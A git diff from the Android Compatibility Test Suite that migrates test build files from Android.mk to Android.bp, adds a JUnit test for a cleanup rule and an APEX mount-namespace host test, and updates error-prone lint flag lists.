-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util junit
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE := compatibility-device-util-tests
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/common/device-side/util/tests/src/com/android/compatibility/common/util/SafeCleanerRuleTest.java b/common/device-side/util/tests/src/com/android/compatibility/common/util/SafeCleanerRuleTest.java
new file mode 100644
index 0000000..798e016
--- /dev/null
+++ b/common/device-side/util/tests/src/com/android/compatibility/common/util/SafeCleanerRuleTest.java
@@ -0,0 +1,254 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.mockito.Mockito.verify;
+import static org.testng.Assert.expectThrows;
+
+import com.android.compatibility.common.util.SafeCleanerRule.Dumper;
+
+import com.google.common.collect.ImmutableList;
+
+import org.junit.Test;
+import org.junit.runner.Description;
+import org.junit.runner.RunWith;
+import org.junit.runners.model.Statement;
+import org.mockito.Mock;
+import org.mockito.junit.MockitoJUnitRunner;
+
+import java.util.List;
+import java.util.concurrent.Callable;
+
+@RunWith(MockitoJUnitRunner.class)
+public class SafeCleanerRuleTest {
+
+    private static class FailureStatement extends Statement {
+        private final Throwable mThrowable;
+
+        FailureStatement(Throwable t) {
+            mThrowable = t;
+        }
+
+        @Override
+        public void evaluate() throws Throwable {
+            throw mThrowable;
+        }
+    }
+
+    private final Description mDescription = Description.createSuiteDescription("Whatever");
+    private final RuntimeException mRuntimeException = new RuntimeException("D'OH!");
+
+    @Mock private Dumper mDumper;
+
+    // Use mocks for objects that don't throw any exception.
+    @Mock private Runnable mGoodGuyRunner1;
+    @Mock private Runnable mGoodGuyRunner2;
+    @Mock private Callable<List<Throwable>> mGoodGuyExtraExceptions1;
+    @Mock private Callable<List<Throwable>> mGoodGuyExtraExceptions2;
+    @Mock private Statement mGoodGuyStatement;
+
+    @Test
+    public void testEmptyRule_testPass() throws Throwable {
+        final SafeCleanerRule rule = new SafeCleanerRule();
+        rule.apply(mGoodGuyStatement, mDescription).evaluate();
+    }
+
+    @Test
+    public void testEmptyRule_testFails() throws Throwable {
+        final SafeCleanerRule rule = new SafeCleanerRule();
+        final Throwable actualException = expectThrows(RuntimeException.class,
+                () -> rule.apply(new FailureStatement(mRuntimeException), mDescription).evaluate());
+        assertThat(actualException).isSameAs(mRuntimeException);
+    }
+
+    @Test
+    public void testEmptyRule_testFails_withDumper() throws Throwable {
+        final SafeCleanerRule rule = new SafeCleanerRule().setDumper(mDumper);
+        final Throwable actualException = expectThrows(RuntimeException.class,
+                () -> rule.apply(new FailureStatement(mRuntimeException), mDescription).evaluate());
+        assertThat(actualException).isSameAs(mRuntimeException);
+        verify(mDumper).dump("Whatever", actualException);
+    }
+
+    @Test
+    public void testOnlyTestFails() throws Throwable {
+        final SafeCleanerRule rule = new SafeCleanerRule()
+                .run(mGoodGuyRunner1)
+                .add(mGoodGuyExtraExceptions1);
+        final Throwable actualException = expectThrows(RuntimeException.class,
+                () -> rule.apply(new FailureStatement(mRuntimeException), mDescription).evaluate());
+        assertThat(actualException).isSameAs(mRuntimeException);
+        verify(mGoodGuyRunner1).run();
+        verify(mGoodGuyExtraExceptions1).call();
+    }
+
+    @Test
+    public void testOnlyTestFails_withDumper() throws Throwable {
+        final SafeCleanerRule rule = new SafeCleanerRule()
+                .setDumper(mDumper)
+                .run(mGoodGuyRunner1)
+                .add(mGoodGuyExtraExceptions1);
+        final Throwable actualException = expectThrows(RuntimeException.class,
+                () -> rule.apply(new FailureStatement(mRuntimeException), mDescription).evaluate());
+        assertThat(actualException).isSameAs(mRuntimeException);
+        verify(mGoodGuyRunner1).run();
+        verify(mGoodGuyExtraExceptions1).call();
+        verify(mDumper).dump("Whatever", actualException);
+    }
+
+    @Test
+    public void testTestPass_oneRunnerFails() throws Throwable {
+        final SafeCleanerRule rule = new SafeCleanerRule()
+                .run(mGoodGuyRunner1)
+                .run(() -> { throw mRuntimeException; })
+                .run(mGoodGuyRunner2)
+                .add(mGoodGuyExtraExceptions1);
+        final Throwable actualException = expectThrows(RuntimeException.class,
+                () -> rule.apply(mGoodGuyStatement, mDescription).evaluate());
+        assertThat(actualException).isSameAs(mRuntimeException);
+        verify(mGoodGuyRunner1).run();
+        verify(mGoodGuyRunner2).run();
+        verify(mGoodGuyExtraExceptions1).call();
+    }
+
+    @Test
+    public void testTestPass_oneRunnerFails_withDumper() throws Throwable {
+        final SafeCleanerRule rule = new SafeCleanerRule()
+                .setDumper(mDumper)
+                .run(mGoodGuyRunner1)
+                .run(() -> {
+                    throw mRuntimeException;
+                })
+                .run(mGoodGuyRunner2)
+                .add(mGoodGuyExtraExceptions1);
+        final Throwable actualException = expectThrows(RuntimeException.class,
+                () -> rule.apply(mGoodGuyStatement, mDescription).evaluate());
+        assertThat(actualException).isSameAs(mRuntimeException);
+        verify(mGoodGuyRunner1).run();
+        verify(mGoodGuyRunner2).run();
+        verify(mGoodGuyExtraExceptions1).call();
+        verify(mDumper).dump("Whatever", actualException);
+    }
+
+    @Test
+    public void testTestPass_oneExtraExceptionThrown() throws Throwable {
+        final SafeCleanerRule rule = new SafeCleanerRule()
+                .run(mGoodGuyRunner1)
+                .add(() -> {
+                    return ImmutableList.of(mRuntimeException);
+                })
+                .add(mGoodGuyExtraExceptions1)
+                .run(mGoodGuyRunner2);
+        final Throwable actualException = expectThrows(RuntimeException.class,
+                () -> rule.apply(mGoodGuyStatement, mDescription).evaluate());
+        assertThat(actualException).isSameAs(mRuntimeException);
+        verify(mGoodGuyRunner1).run();
+        verify(mGoodGuyRunner2).run();
+        verify(mGoodGuyExtraExceptions1).call();
+    }
+
+    @Test
+    public void testTestPass_oneExtraExceptionThrown_withDumper() throws Throwable {
+        final SafeCleanerRule rule = new SafeCleanerRule()
+                .setDumper(mDumper)
+                .run(mGoodGuyRunner1)
+                .add(() -> { return ImmutableList.of(mRuntimeException); })
+                .add(mGoodGuyExtraExceptions1)
+                .run(mGoodGuyRunner2);
+        final Throwable actualException = expectThrows(RuntimeException.class,
+                () -> rule.apply(mGoodGuyStatement, mDescription).evaluate());
+        assertThat(actualException).isSameAs(mRuntimeException);
+        verify(mGoodGuyRunner1).run();
+        verify(mGoodGuyRunner2).run();
+        verify(mGoodGuyExtraExceptions1).call();
+        verify(mDumper).dump("Whatever", actualException);
+    }
+
+    @Test
+    public void testThrowTheKitchenSinkAKAEverybodyThrows() throws Throwable {
+        final Exception extra1 = new Exception("1");
+        final Exception extra2 = new Exception("2");
+        final Exception extra3 = new Exception("3");
+        final Error error1 = new Error("one");
+        final Error error2 = new Error("two");
+        final RuntimeException testException  = new RuntimeException("TEST, Y U NO PASS?");
+        final SafeCleanerRule rule = new SafeCleanerRule()
+                .run(mGoodGuyRunner1)
+                .add(mGoodGuyExtraExceptions1)
+                .add(() -> {
+                    return ImmutableList.of(extra1, extra2);
+                })
+                .run(() -> {
+                    throw error1;
+                })
+                .run(mGoodGuyRunner2)
+                .add(() -> {
+                    return ImmutableList.of(extra3);
+                })
+                .add(mGoodGuyExtraExceptions2)
+                .run(() -> {
+                    throw error2;
+                });
+
+        final SafeCleanerRule.MultipleExceptions actualException = expectThrows(
+                SafeCleanerRule.MultipleExceptions.class,
+                () -> rule.apply(new FailureStatement(testException), mDescription).evaluate());
+        assertThat(actualException.getThrowables())
+                .containsExactly(testException, error1, error2, extra1, extra2, extra3)
+                .inOrder();
+        verify(mGoodGuyRunner1).run();
+        verify(mGoodGuyRunner2).run();
+        verify(mGoodGuyExtraExceptions1).call();
+    }
+
+    @Test
+    public void testThrowTheKitchenSinkAKAEverybodyThrows_withDumper() throws Throwable {
+        final Exception extra1 = new Exception("1");
+        final Exception extra2 = new Exception("2");
+        final Exception extra3 = new Exception("3");
+        final Error error1 = new Error("one");
+        final Error error2 = new Error("two");
+        final RuntimeException testException  = new RuntimeException("TEST, Y U NO PASS?");
+        final SafeCleanerRule rule = new SafeCleanerRule()
+                .setDumper(mDumper)
+                .run(mGoodGuyRunner1)
+                .add(mGoodGuyExtraExceptions1)
+                .add(() -> {
+                    return ImmutableList.of(extra1, extra2);
+                })
+                .run(() -> {
+                    throw error1;
+                })
+                .run(mGoodGuyRunner2)
+                .add(() -> { return ImmutableList.of(extra3); })
+                .add(mGoodGuyExtraExceptions2)
+                .run(() -> { throw error2; });
+
+        final SafeCleanerRule.MultipleExceptions actualException = expectThrows(
+                SafeCleanerRule.MultipleExceptions.class,
+                () -> rule.apply(new FailureStatement(testException), mDescription).evaluate());
+        assertThat(actualException.getThrowables())
+                .containsExactly(testException, error1, error2, extra1, extra2, extra3)
+                .inOrder();
+        verify(mGoodGuyRunner1).run();
+        verify(mGoodGuyRunner2).run();
+        verify(mGoodGuyExtraExceptions1).call();
+        verify(mDumper).dump("Whatever", actualException);
+    }
+}
diff --git a/error_prone_rules.mk b/error_prone_rules.mk
index 33382dd..4e33114 100644
--- a/error_prone_rules.mk
+++ b/error_prone_rules.mk
@@ -1,3 +1,4 @@
+
 # Copyright (C) 2017 The Android Open Source Project
 #
 # Licensed under the Apache License, Version 2.0 (the "License");
@@ -13,23 +14,24 @@
 # limitations under the License.
 
 # Set of error prone rules to ensure code quality
-LOCAL_ERROR_PRONE_FLAGS:= -Xep:ArrayToString:ERROR \
-                          -Xep:BoxedPrimitiveConstructor:ERROR \
-                          -Xep:ConstantField:ERROR \
-                          -Xep:EqualsIncompatibleType:ERROR \
-                          -Xep:FormatString:ERROR \
-                          -Xep:GetClassOnClass:ERROR \
-                          -Xep:IdentityBinaryExpression:ERROR \
-                          -Xep:JUnit3TestNotRun:ERROR \
-                          -Xep:JUnit4ClassUsedInJUnit3:ERROR \
-                          -Xep:JUnitAmbiguousTestClass:ERROR \
-                          -Xep:MissingFail:ERROR \
-                          -Xep:MissingOverride:ERROR \
-                          -Xep:Overrides:ERROR \
-                          -Xep:ReferenceEquality:ERROR \
-                          -Xep:RemoveUnusedImports:ERROR \
-                          -Xep:ReturnValueIgnored:ERROR \
-                          -Xep:SelfEquals:ERROR \
-                          -Xep:SizeGreaterThanOrEqualsZero:ERROR \
-                          -Xep:TryFailThrowable:ERROR
+# When updating this list, also update cts_error_prone_rules in Android.bp
+LOCAL_ERROR_PRONE_FLAGS += -Xep:ArrayToString:ERROR \
+                           -Xep:BoxedPrimitiveConstructor:ERROR \
+                           -Xep:ConstantField:ERROR \
+                           -Xep:EqualsIncompatibleType:ERROR \
+                           -Xep:FormatString:ERROR \
+                           -Xep:GetClassOnClass:ERROR \
+                           -Xep:IdentityBinaryExpression:ERROR \
+                           -Xep:JUnit3TestNotRun:ERROR \
+                           -Xep:JUnit4ClassUsedInJUnit3:ERROR \
+                           -Xep:JUnitAmbiguousTestClass:ERROR \
+                           -Xep:MissingFail:ERROR \
+                           -Xep:MissingOverride:ERROR \
+                           -Xep:Overrides:ERROR \
+                           -Xep:ReferenceEquality:ERROR \
+                           -Xep:RemoveUnusedImports:ERROR \
+                           -Xep:ReturnValueIgnored:ERROR \
+                           -Xep:SelfEquals:ERROR \
+                           -Xep:SizeGreaterThanOrEqualsZero:ERROR \
+                           -Xep:TryFailThrowable:ERROR \
 
diff --git a/error_prone_rules_tests.mk b/error_prone_rules_tests.mk
index a8d88b0..d581a6d 100644
--- a/error_prone_rules_tests.mk
+++ b/error_prone_rules_tests.mk
@@ -13,18 +13,19 @@
 # limitations under the License.
 
 # Set of error prone rules to ensure code quality of tests
+# When updating this list, also update cts_error_prone_rules_tests in Android.bp
 
 # Goal is to eventually merge with error_prone_rules.mk
-LOCAL_ERROR_PRONE_FLAGS:= -Xep:ArrayToString:ERROR \
-                          -Xep:CollectionIncompatibleType:ERROR \
-                          -Xep:EqualsIncompatibleType:ERROR \
-                          -Xep:EqualsNaN:ERROR \
-                          -Xep:FormatString:ERROR \
-                          -Xep:IdentityBinaryExpression:ERROR \
-                          -Xep:JUnit3TestNotRun:ERROR \
-                          -Xep:JUnit4ClassUsedInJUnit3:ERROR \
-                          -Xep:JUnitAmbiguousTestClass:ERROR \
-                          -Xep:MissingFail:ERROR \
-                          -Xep:SizeGreaterThanOrEqualsZero:ERROR \
-                          -Xep:TryFailThrowable:ERROR
+LOCAL_ERROR_PRONE_FLAGS += -Xep:ArrayToString:ERROR \
+                           -Xep:CollectionIncompatibleType:ERROR \
+                           -Xep:EqualsIncompatibleType:ERROR \
+                           -Xep:EqualsNaN:ERROR \
+                           -Xep:FormatString:ERROR \
+                           -Xep:IdentityBinaryExpression:ERROR \
+                           -Xep:JUnit3TestNotRun:ERROR \
+                           -Xep:JUnit4ClassUsedInJUnit3:ERROR \
+                           -Xep:JUnitAmbiguousTestClass:ERROR \
+                           -Xep:MissingFail:ERROR \
+                           -Xep:SizeGreaterThanOrEqualsZero:ERROR \
+                           -Xep:TryFailThrowable:ERROR \
 
diff --git a/hostsidetests/abioverride/Android.bp b/hostsidetests/abioverride/Android.bp
new file mode 100644
index 0000000..7717acc
--- /dev/null
+++ b/hostsidetests/abioverride/Android.bp
@@ -0,0 +1,30 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsAbiOverrideHostTestCases",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    libs: [
+        "compatibility-host-util",
+        "cts-tradefed",
+        "tradefed",
+    ],
+}
diff --git a/hostsidetests/abioverride/Android.mk b/hostsidetests/abioverride/Android.mk
deleted file mode 100644
index 0877b43..0000000
--- a/hostsidetests/abioverride/Android.mk
+++ /dev/null
@@ -1,34 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_MODULE := CtsAbiOverrideHostTestCases
-
-LOCAL_MODULE_TAGS := tests
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_CTS_TEST_PACKAGE := android.host.abioverride
-
-LOCAL_JAVA_LIBRARIES := compatibility-host-util cts-tradefed tradefed
-
-include $(BUILD_CTS_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/abioverride/app/Android.bp b/hostsidetests/abioverride/app/Android.bp
new file mode 100644
index 0000000..12923c0
--- /dev/null
+++ b/hostsidetests/abioverride/app/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsAbiOverrideTestApp",
+    defaults: ["cts_defaults"],
+    compile_multilib: "both",
+    static_libs: [
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+    ],
+    jni_libs: ["libctsabioverride"],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/hostsidetests/abioverride/app/Android.mk b/hostsidetests/abioverride/app/Android.mk
deleted file mode 100755
index d6016dd..0000000
--- a/hostsidetests/abioverride/app/Android.mk
+++ /dev/null
@@ -1,48 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_MULTILIB := both
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util-axt \
-    ctstestrunner-axt \
-
-
-LOCAL_JNI_SHARED_LIBRARIES := libctsabioverride
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsAbiOverrideTestApp
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/abioverride/app/jni/Android.bp b/hostsidetests/abioverride/app/jni/Android.bp
new file mode 100644
index 0000000..f3a3f93
--- /dev/null
+++ b/hostsidetests/abioverride/app/jni/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test_library {
+    name: "libctsabioverride",
+    srcs: ["CtsAbiOverrideJniOnLoad.cpp"],
+    // Ignore unused parameters.
+    cflags: [
+        "-Wall",
+        "-Werror",
+        "-Wno-unused-parameter",
+    ],
+    shared_libs: ["libnativehelper_compat_libc++"],
+    stl: "none",
+    sdk_version: "current",
+}
diff --git a/hostsidetests/abioverride/app/jni/Android.mk b/hostsidetests/abioverride/app/jni/Android.mk
deleted file mode 100644
index e8725bd..0000000
--- a/hostsidetests/abioverride/app/jni/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := libctsabioverride
-
-# Don't include this package in any configuration by default.
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := CtsAbiOverrideJniOnLoad.cpp
-
-LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
-
-# Ignore unused parameters.
-LOCAL_CFLAGS += -Wall -Werror -Wno-unused-parameter
-
-LOCAL_SHARED_LIBRARIES := libnativehelper_compat_libc++
-LOCAL_NDK_STL_VARIANT := none
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_SHARED_LIBRARY)
diff --git a/hostsidetests/apex/Android.bp b/hostsidetests/apex/Android.bp
new file mode 100644
index 0000000..5b1f436
--- /dev/null
+++ b/hostsidetests/apex/Android.bp
@@ -0,0 +1,20 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//     http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsApexTestCases",
+    srcs: ["src/**/*.java"],
+    test_suites: ["cts", "general-tests"],
+    libs: ["cts-tradefed", "tradefed"],
+}
diff --git a/hostsidetests/apex/AndroidTest.xml b/hostsidetests/apex/AndroidTest.xml
new file mode 100644
index 0000000..96aa5a5
--- /dev/null
+++ b/hostsidetests/apex/AndroidTest.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Apex Test">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="systems" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <test class="com.android.tradefed.testtype.HostTest" >
+        <option name="jar" value="CtsApexTestCases.jar" />
+    </test>
+</configuration>
diff --git a/hostsidetests/apex/OWNERS b/hostsidetests/apex/OWNERS
new file mode 100644
index 0000000..ab2dd6e
--- /dev/null
+++ b/hostsidetests/apex/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 494373
+include platform/system/apex:/OWNERS
diff --git a/hostsidetests/apex/TEST_MAPPING b/hostsidetests/apex/TEST_MAPPING
new file mode 100644
index 0000000..601abc0
--- /dev/null
+++ b/hostsidetests/apex/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsApexTestCases"
+    }
+  ]
+}
diff --git a/hostsidetests/apex/src/android/apex/cts/ApexTest.java b/hostsidetests/apex/src/android/apex/cts/ApexTest.java
new file mode 100644
index 0000000..89936e1
--- /dev/null
+++ b/hostsidetests/apex/src/android/apex/cts/ApexTest.java
@@ -0,0 +1,133 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.apex.cts;
+
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.util.CommandResult;
+
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Arrays;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class ApexTest extends BaseHostJUnit4Test {
+  private boolean isApexUpdatable() throws Exception {
+    return Boolean.parseBoolean(getDevice().getProperty("ro.apex.updatable"));
+  }
+
+  /**
+   * Ensures that the built-in APEXes are all with flattened APEXes
+   * or non-flattend APEXes. Mixture of them is not supported and thus
+   * not allowed.
+   */
+  @Test
+  public void testApexType() throws Exception {
+    String[] builtinDirs = {
+      "/system/apex",
+      "/product/apex",
+      "/vendor/apex"
+    };
+
+    int numFlattenedApexes = 0;
+    int numNonFlattenedApexes = 0;
+    for (String dir : builtinDirs) {
+      numFlattenedApexes += countFlattenedApexes(dir);
+      numNonFlattenedApexes += countNonFlattenedApexes(dir);
+    }
+
+    Assert.assertTrue(
+        "No APEX found",
+        (numFlattenedApexes + numNonFlattenedApexes) != 0);
+
+    if (isApexUpdatable()) {
+      Assert.assertTrue(numFlattenedApexes +
+          " flattened APEX(es) found on a device supporting updatable APEX",
+          numFlattenedApexes == 0);
+    } else {
+      Assert.assertTrue(numNonFlattenedApexes +
+          " non-flattened APEX(es) found on a device not supporting updatable APEX",
+          numNonFlattenedApexes == 0);
+    }
+  }
+
+  // CTS shim APEX can be non-flattened - even when ro.apex.updatable=false.
+  // Don't count it.
+  private final static String CTS_SHIM_APEX_NAME = "com.android.apex.cts.shim";
+
+  private int countFlattenedApexes(String dir) throws Exception {
+    CommandResult result = getDevice().executeShellV2Command(
+        "find " + dir + " -type f -name \"apex_manifest.json\" ! -path \"*" +
+        CTS_SHIM_APEX_NAME + "*\" | wc -l");
+    return result.getExitCode() == 0 ? Integer.parseInt(result.getStdout().trim()) : 0;
+  }
+
+  private int countNonFlattenedApexes(String dir) throws Exception {
+    CommandResult result = getDevice().executeShellV2Command(
+        "find " + dir + " -type f -name \"*.apex\" ! -name \"" +
+        CTS_SHIM_APEX_NAME + ".apex\" | wc -l");
+    return result.getExitCode() == 0 ? Integer.parseInt(result.getStdout().trim()) : 0;
+  }
+
+  /**
+   * Ensures that pre-apexd processes (e.g. vold) and post-apexd processes (e.g. init) are using
+   * different mount namespaces (in case of ro.apexd.updatable is true), or not.
+   */
+  @Test
+  public void testMountNamespaces() throws Exception {
+    final int rootMountIdOfInit = getMountEntry("1", "/").mountId;
+    final int rootMountIdOfVold = getMountEntry("$(pidof vold)", "/").mountId;
+    if (isApexUpdatable()) {
+      Assert.assertNotEquals("device supports updatable APEX, but is not using multiple mount namespaces",
+          rootMountIdOfInit, rootMountIdOfVold);
+    } else {
+      Assert.assertEquals("device supports updatable APEX, but is using multiple mount namespaces",
+          rootMountIdOfInit, rootMountIdOfVold);
+    }
+  }
+
+  private static class MountEntry {
+    public final int mountId;
+    public final String mountPoint;
+
+    public MountEntry(String mountInfoLine) {
+      String[] tokens = mountInfoLine.split(" ");
+      if (tokens.length < 5) {
+        throw new RuntimeException(mountInfoLine + " doesn't seem to be from mountinfo");
+      }
+      mountId = Integer.parseInt(tokens[0]);
+      mountPoint = tokens[4];
+    }
+  }
+
+  private String[] readMountInfo(String pidExpression) throws Exception {
+    CommandResult result = getDevice().executeShellV2Command(
+        "cat /proc/" + pidExpression + "/mountinfo");
+    if (result.getExitCode() != 0) {
+      throw new RuntimeException("failed to read mountinfo for " + pidExpression);
+    }
+    return result.getStdout().trim().split("\n");
+  }
+
+  private MountEntry getMountEntry(String pidExpression, String mountPoint) throws Exception {
+    return Arrays.asList(readMountInfo(pidExpression)).stream()
+        .map(MountEntry::new)
+        .filter(entry -> mountPoint.equals(entry.mountPoint)).findAny().get();
+  }
+}
diff --git a/hostsidetests/appsecurity/Android.mk b/hostsidetests/appsecurity/Android.mk
index 59ef75e..e0470a7 100644
--- a/hostsidetests/appsecurity/Android.mk
+++ b/hostsidetests/appsecurity/Android.mk
@@ -23,21 +23,16 @@
 
 LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
 
-LOCAL_STATIC_JAVA_LIBRARIES := truth-host-prebuilt
+LOCAL_STATIC_JAVA_LIBRARIES := truth-prebuilt-jar
 
 LOCAL_JAVA_RESOURCE_DIRS := res
 
 LOCAL_CTS_TEST_PACKAGE := android.appsecurity
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_REQUIRED_MODULES := \
-	CtsCorruptApkTests_b71360999 \
-	CtsCorruptApkTests_b71361168 \
-	CtsCorruptApkTests_b79488511
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
 # Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
\ No newline at end of file
